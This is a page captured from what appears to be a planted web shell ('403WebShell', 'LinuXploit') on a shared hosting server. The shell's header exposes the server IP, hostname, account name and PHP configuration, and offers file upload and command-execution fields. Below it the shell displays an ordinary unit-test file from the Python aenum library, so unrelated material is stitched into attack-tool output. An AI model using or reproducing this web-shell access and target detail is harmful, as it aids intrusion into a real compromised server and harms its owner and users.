Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.18.73
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib/python3.8/site-packages/aenum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hc_python/lib/python3.8/site-packages/aenum/test_v37.py
from . import Enum
from dataclasses import dataclass
from unittest import TestCase


class TestEnumV37(TestCase):

        def test_repr_with_dataclass(self):
            "ensure dataclass-mixin has correct repr()"
            #
            # check overridden dataclass __repr__ is used
            #
            from dataclasses import dataclass, field
            @dataclass(repr=False)
            class Foo:
                __qualname__ = 'Foo'
                a: int
                def __repr__(self):
                    return 'ha hah!'
            class Entries(Foo, Enum):
                ENTRY1 = 1
            self.assertEqual(repr(Entries.ENTRY1), '<Entries.ENTRY1: ha hah!>')
            self.assertEqual(Entries.ENTRY1.value, Foo(1))
            self.assertTrue(isinstance(Entries.ENTRY1, Foo))
            self.assertTrue(Entries._member_type_ is Foo, Entries._member_type_)
            #
            # check auto-generated dataclass __repr__ is not used
            #
            @dataclass
            class CreatureDataMixin:
                __qualname__ = 'CreatureDataMixin'
                size: str
                legs: int
                tail: bool = field(repr=False, default=True)
            class Creature(CreatureDataMixin, Enum):
                __qualname__ = 'Creature'
                BEETLE = ('small', 6)
                DOG = ('medium', 4)
            self.assertEqual(repr(Creature.DOG), "<Creature.DOG: size='medium', legs=4>")
            #
            # check inherited repr used
            #
            class Huh:
                def __repr__(self):
                    return 'inherited'
            @dataclass(repr=False)
            class CreatureDataMixin(Huh):
                __qualname__ = 'CreatureDataMixin'
                size: str
                legs: int
                tail: bool = field(repr=False, default=True)
            class Creature(CreatureDataMixin, Enum):
                __qualname__ = 'Creature'
                BEETLE = ('small', 6)
                DOG = ('medium', 4)
            self.assertEqual(repr(Creature.DOG), "<Creature.DOG: inherited>")
            #
            # check default object.__repr__ used if nothing provided
            #
            @dataclass(repr=False)
            class CreatureDataMixin:
                __qualname__ = 'CreatureDataMixin'
                size: str
                legs: int
                tail: bool = field(repr=False, default=True)
            class Creature(CreatureDataMixin, Enum):
                __qualname__ = 'Creature'
                BEETLE = ('small', 6)
                DOG = ('medium', 4)
            self.assertRegex(repr(Creature.DOG), "<Creature.DOG: .*CreatureDataMixin object at .*>")


if __name__ == '__main__':
    raise RuntimeError("'test_v3.py' should not be run by itself; it's included in 'test.py'")


Youez - 2016 - github.com/yon3zu
LinuXploit